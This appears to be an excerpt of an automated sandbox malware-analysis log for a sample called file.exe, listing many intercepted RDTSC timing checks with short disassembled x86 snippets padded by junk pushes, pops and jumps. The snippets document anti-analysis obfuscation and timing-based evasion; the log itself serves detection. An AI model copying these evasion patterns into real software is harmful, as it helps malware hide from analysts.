Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52602C1 second address: 52602C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290E0D second address: 5290E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290E11 second address: 5290E28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502413h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52705B9 second address: 52705BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52705BF second address: 52705FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C50240Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F8F4C502412h 0x00000014 xor esi, 15E4DB58h 0x0000001a jmp 00007F8F4C50240Bh 0x0000001f popfd 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52705FA second address: 5270652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8F4CECCCF6h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d mov ebx, 412AA564h 0x00000012 movsx ebx, cx 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F8F4CECCCF1h 0x00000020 sbb ecx, 59953056h 0x00000026 jmp 00007F8F4CECCCF1h 0x0000002b popfd 0x0000002c pushad 0x0000002d popad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270652 second address: 5270660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F4C50240Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270660 second address: 5270664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270664 second address: 527069F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F8F4C502417h 0x0000000f mov eax, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8F4C502415h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527069F second address: 52706A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52706A5 second address: 52706F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502413h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [eax], 00000000h 0x0000000e jmp 00007F8F4C502416h 0x00000013 and dword ptr [eax+04h], 00000000h 0x00000017 pushad 0x00000018 jmp 00007F8F4C50240Eh 0x0000001d movzx eax, di 0x00000020 popad 0x00000021 pop ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52706F5 second address: 52706F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52706F9 second address: 52706FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52706FD second address: 5270703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250580 second address: 52505F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C50240Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx eax, dx 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F8F4C502418h 0x00000017 add ah, 00000068h 0x0000001a jmp 00007F8F4C50240Bh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F8F4C502418h 0x00000026 or ax, A7C8h 0x0000002b jmp 00007F8F4C50240Bh 0x00000030 popfd 0x00000031 popad 0x00000032 xchg eax, ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52505F1 second address: 52505F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52505F5 second address: 52505FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52505FB second address: 5250628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8F4CECCCF8h 0x00000009 sub ah, 00000058h 0x0000000c jmp 00007F8F4CECCCEBh 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527018E second address: 5270194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270194 second address: 5270198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270198 second address: 52701D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F8F4C502417h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8F4C502415h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52703CD second address: 52703D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52703D1 second address: 52703D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52703D7 second address: 5270413 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8F4CECCCF0h 0x0000000f push eax 0x00000010 jmp 00007F8F4CECCCEBh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270413 second address: 527042E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502417h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527042E second address: 527047D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bl 0x00000005 pushfd 0x00000006 jmp 00007F8F4CECCCF0h 0x0000000b adc eax, 1F79F068h 0x00000011 jmp 00007F8F4CECCCEBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c jmp 00007F8F4CECCCF6h 0x00000021 pop ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov ecx, edi 0x00000027 mov edx, 62348D0Ch 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290600 second address: 5290625 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290625 second address: 529062A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529062A second address: 5290660 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502415h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8F4C502418h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290660 second address: 529066F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529066F second address: 52906B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F8F4C50240Eh 0x00000010 xchg eax, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8F4C502417h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52906B6 second address: 5290702 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, C8h 0x00000005 mov ecx, 205CCA87h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F8F4CECCCF6h 0x00000016 pushfd 0x00000017 jmp 00007F8F4CECCCF2h 0x0000001c and si, 9E98h 0x00000021 jmp 00007F8F4CECCCEBh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290702 second address: 5290786 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F8F4C50240Eh 0x0000000f mov eax, dword ptr [76FA65FCh] 0x00000014 jmp 00007F8F4C502410h 0x00000019 test eax, eax 0x0000001b pushad 0x0000001c call 00007F8F4C50240Eh 0x00000021 mov ch, 04h 0x00000023 pop edi 0x00000024 jmp 00007F8F4C50240Ch 0x00000029 popad 0x0000002a je 00007F8FBE195608h 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov dl, 7Bh 0x00000035 jmp 00007F8F4C502416h 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290786 second address: 52907F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 pushfd 0x00000007 jmp 00007F8F4CECCCEDh 0x0000000c sbb eax, 55016306h 0x00000012 jmp 00007F8F4CECCCF1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ecx, eax 0x0000001d jmp 00007F8F4CECCCEEh 0x00000022 xor eax, dword ptr [ebp+08h] 0x00000025 jmp 00007F8F4CECCCF1h 0x0000002a and ecx, 1Fh 0x0000002d jmp 00007F8F4CECCCEEh 0x00000032 ror eax, cl 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52907F2 second address: 529080F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529080F second address: 529081F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F4CECCCECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529081F second address: 5290834 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8F4C50240Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290834 second address: 5290846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F4CECCCEEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290846 second address: 529084A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290913 second address: 5290919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290919 second address: 529091D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529091D second address: 5290956 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov eax, edx 0x0000000f movsx ebx, cx 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 mov ax, A17Fh 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F8F4CECCCF3h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290956 second address: 529095A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529095A second address: 5290960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240022 second address: 524008A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8F4C502417h 0x00000009 adc al, FFFFFFDEh 0x0000000c jmp 00007F8F4C502419h 0x00000011 popfd 0x00000012 jmp 00007F8F4C502410h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c mov cl, EAh 0x0000001e movsx edi, si 0x00000021 popad 0x00000022 push eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F8F4C502411h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524008A second address: 52400CA instructions: 0x00000000 rdtsc 0x00000002 mov ah, 56h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edx, 4661A950h 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e mov eax, edi 0x00000010 pushfd 0x00000011 jmp 00007F8F4CECCCF1h 0x00000016 adc cl, FFFFFFD6h 0x00000019 jmp 00007F8F4CECCCF1h 0x0000001e popfd 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52400CA second address: 52400CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52400CE second address: 52400E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52400E1 second address: 5240144 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and esp, FFFFFFF8h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F8F4C50240Ah 0x00000015 add ax, 2A58h 0x0000001a jmp 00007F8F4C50240Bh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F8F4C502418h 0x00000026 and eax, 3022B4B8h 0x0000002c jmp 00007F8F4C50240Bh 0x00000031 popfd 0x00000032 popad 0x00000033 xchg eax, ecx 0x00000034 pushad 0x00000035 mov dx, cx 0x00000038 push eax 0x00000039 push edx 0x0000003a mov eax, 2E809D3Dh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240144 second address: 524015E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8F4CECCCF0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524015E second address: 5240162 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240162 second address: 5240168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240168 second address: 524016E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524016E second address: 5240172 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524022E second address: 5240272 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8F4C50240Bh 0x00000009 or eax, 1E381B6Eh 0x0000000f jmp 00007F8F4C502419h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, esi 0x00000019 pushad 0x0000001a mov si, F193h 0x0000001e push eax 0x0000001f pop ecx 0x00000020 popad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push edx 0x00000026 pop esi 0x00000027 mov cl, bh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240272 second address: 52402CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F8F4CECCCF6h 0x0000000f mov esi, dword ptr [ebp+08h] 0x00000012 jmp 00007F8F4CECCCF0h 0x00000017 xchg eax, edi 0x00000018 jmp 00007F8F4CECCCF0h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F8F4CECCCEDh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52402CE second address: 52402D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52402D2 second address: 52402D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52402D8 second address: 5240302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C50240Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8F4C502417h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240302 second address: 5240388 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F8F4CECCCEEh 0x00000010 je 00007F8FBEBAAFCCh 0x00000016 pushad 0x00000017 mov cl, 73h 0x00000019 call 00007F8F4CECCCF3h 0x0000001e pop ecx 0x0000001f popad 0x00000020 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000027 pushad 0x00000028 mov ebx, 7EA41A04h 0x0000002d mov edx, 7C4AD270h 0x00000032 popad 0x00000033 je 00007F8FBEBAAFB1h 0x00000039 pushad 0x0000003a jmp 00007F8F4CECCCF5h 0x0000003f mov ah, EBh 0x00000041 popad 0x00000042 mov edx, dword ptr [esi+44h] 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240388 second address: 524038C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524038C second address: 52403A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52403A0 second address: 52403F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8F4C502411h 0x00000008 pop esi 0x00000009 call 00007F8F4C502411h 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 or edx, dword ptr [ebp+0Ch] 0x00000015 pushad 0x00000016 mov cx, di 0x00000019 popad 0x0000001a test edx, 61000000h 0x00000020 pushad 0x00000021 movsx ebx, cx 0x00000024 movzx eax, dx 0x00000027 popad 0x00000028 jne 00007F8FBE1E06AEh 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F8F4C502410h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52403F8 second address: 5240425 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, CDh 0x00000005 pushfd 0x00000006 jmp 00007F8F4CECCCEAh 0x0000000b sbb ecx, 7EC1E438h 0x00000011 jmp 00007F8F4CECCCEBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test byte ptr [esi+48h], 00000001h 0x0000001e pushad 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240425 second address: 524045D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F8F4C502410h 0x0000000a add esi, 53C3DE98h 0x00000010 jmp 00007F8F4C50240Bh 0x00000015 popfd 0x00000016 popad 0x00000017 mov dx, cx 0x0000001a popad 0x0000001b jne 00007F8FBE1E0656h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524045D second address: 5240461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240461 second address: 5240467 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240467 second address: 5240480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F4CECCCF5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5240480 second address: 52404A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test bl, 00000007h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov cx, di 0x00000014 movsx edx, cx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52404A4 second address: 52404AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52404AA second address: 52404AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230793 second address: 5230797 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230797 second address: 523079D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523079D second address: 52307A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52307A3 second address: 52307E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502418h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F8F4C50240Bh 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8F4C502410h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52307E2 second address: 52307F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52307F1 second address: 523086D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F8F4C50240Ch 0x00000012 and esp, FFFFFFF8h 0x00000015 jmp 00007F8F4C502410h 0x0000001a xchg eax, ebx 0x0000001b jmp 00007F8F4C502410h 0x00000020 push eax 0x00000021 pushad 0x00000022 jmp 00007F8F4C502411h 0x00000027 popad 0x00000028 xchg eax, ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c push esi 0x0000002d pop edi 0x0000002e pushfd 0x0000002f jmp 00007F8F4C502412h 0x00000034 adc si, 27D8h 0x00000039 jmp 00007F8F4C50240Bh 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
